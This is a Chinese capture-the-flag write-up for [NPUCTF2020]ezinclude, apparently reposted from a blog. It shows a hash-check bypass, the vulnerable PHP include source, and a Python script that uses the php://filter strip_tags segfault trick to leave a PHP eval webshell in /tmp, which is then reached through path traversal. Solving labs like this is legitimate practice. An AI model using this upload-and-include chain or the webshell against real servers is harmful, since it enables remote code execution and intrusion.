首页 > 其他分享 >[NPUCTF2020]ezinclude 1

[NPUCTF2020]ezinclude 1

时间:2024-07-13 10:32:16浏览次数:10  
标签:文件 name .. ezinclude NPUCTF2020 php 上传 md5

md5,

题目打开之后是什么都没有的,直接进行抓包

可以看到是给了一个hash值的,而且告诉了
Set-Cookie中的Hash就是$md5($secret.$name)(经典脑洞)
如果$name='',则有$md5($secret.$name)=$md5($secret)=上面的Hash
则/?pass=上面的Hash即可,或者带上&name=传递空值

访问flflflflag.php

发现什么都没有只有一个include函数,伪协议读一下这个页面源码尝试一下

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

发现data伪协议和php://input都被ban了,这里借鉴了一下其他师傅的wp,发现这里用的是一个php特性
利用 php7 segment fault 特性
大致意思是:使用伪协议php://filter中的string.strip_stags 过滤器 并上传文件 php的垃圾回收机制就不会继续执行 使post传递的文件存储在/temp/文件下
10.利用条件
php7.0.0-7.1.2可以利用
php7.1.3-7.2.1可以利用
php7.2.2-7.2.8可以利用
可以获取文件名
源代码get参数进行文件包含
同时tmp下的文件会放在dir.php中

import requests as res
from io import BytesIO
url="http://cae4856d-9645-4f78-9a21-1b19470828b5.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" #phpfile对应的就是上传的文件的内容
phpfile="<?php @eval($_POST['a']); ?>"
filedata={
    "file":phpfile
}
bak=res.post(url=url,files=filedata)
print(bak.text)

运行后

此时文件是上传上去了的
脚本最后会输出BUUCTF容器不存在的页面,但这并不意味着我们操作失败了,按照知识点来说属于是"php崩溃清空堆栈重启",我们脚本中上传的文件还是存在的。
访问dir.php查看我们上传后的文件。

找到了我们上传的文件名之后进行目录穿越蚁剑连../../../../../tmp/phpWHPmtj

发现不在,可能在phpinfo中同样的方法,只需要更改上传代码即可,最终在phpinfo中找见

标签:文件,name,..,ezinclude,NPUCTF2020,php,上传,md5
From: https://www.cnblogs.com/z2gh/p/18299734

相关文章

  • [NPUCTF2020]验证
    [NPUCTF2020]验证......
  • BUUCTF Reverse/[NPUCTF2020]你好sao啊
    里面就一个加密函数,分析后发现这是一段变表的base解密,将四个字符替换成三个字符点击查看代码void*__fastcallRxEncode(constchar*a1,inta2){intv3;//[rsp+18h][rbp-38h]intv4;//[rsp+1Ch][rbp-34h]intv5;//[rsp+20h][rbp-30h]intv6;//[rsp+2......
  • [NPUCTF2020]Baby Obfuscation
    [NPUCTF2020]BabyObfuscation将该文件使用ida打开并直接查看main()函数发现程序的主要逻辑为判断用户的输入是否符合要求,推测用户的输入为flag此时我们倒着分析来看,发现A0X1的值要与F0X4(A0X6[i_1],1)/10的值相等此时我们进入F0X4()函数分析该函数的功能是返回a-b......
  • WEB|[NPUCTF2020]ReadlezPHP
    打开网页发现什么都没有,burpsuite抓包查看源码发现链接./time.php?source,访问链接发现源码<?php#error_reporting(0);classHelloPhp{public$a;public$b;publicfunction__construct(){$this->a="Y-m-dh:i:s";$this->b="date&qu......
  • Crypto|[NPUCTF2020]EzRSA
    attachment.pyfromgmpy2importlcm,powmod,invert,gcd,mpzfromCrypto.Util.numberimportgetPrimefromsympyimportnextprimefromrandomimportrandintp=getPrime(1024)q=getPrime(1024)n=p*qgift=lcm(p-1,q-1)e=54722flag=b&#......
  • Web|Buuctf-[NPUCTF2020]ezinclude
    查看源码提示md5($secret.$name)===$passcookie中存在hash,hash随着name的变化而变化hash填入pass参数请求跳转到404页面使用burpsuite发包,提示存在flflflflag.php页面flag不在此页面,并且页面存在文件包含漏洞读取flflflflag.php页面源码<html><head><scriptlangua......
  • [NPUCTF2020]ezinclude 1
    [NPUCTF2020]ezinclude1F12查看源码<!--md5($secret.$name)===$pass-->然后以为是要搞MD5的新漏洞姿势,看来WP才发现,不是这样的,是相应包里面有MD5加密后的东西填到P......
  • [NPUCTF2020]认清形势,建立信心
    [NPUCTF2020]认清形势,建立信心题目fromCrypto.Util.numberimport*fromgmpy2import*fromsecretimportflagp=getPrime(25)e=#Hiddenq=getPrime(25)......
  • re | [NPUCTF2020]芜湖
    re|[NPUCTF2020]芜湖......
  • [NPUCTF2020]EzRSA
    [NPUCTF2020]EzRSA题目:fromgmpy2importlcm,powmod,invert,gcd,mpzfromCrypto.Util.numberimportgetPrimefromsympyimportnextprimefromrandomimpo......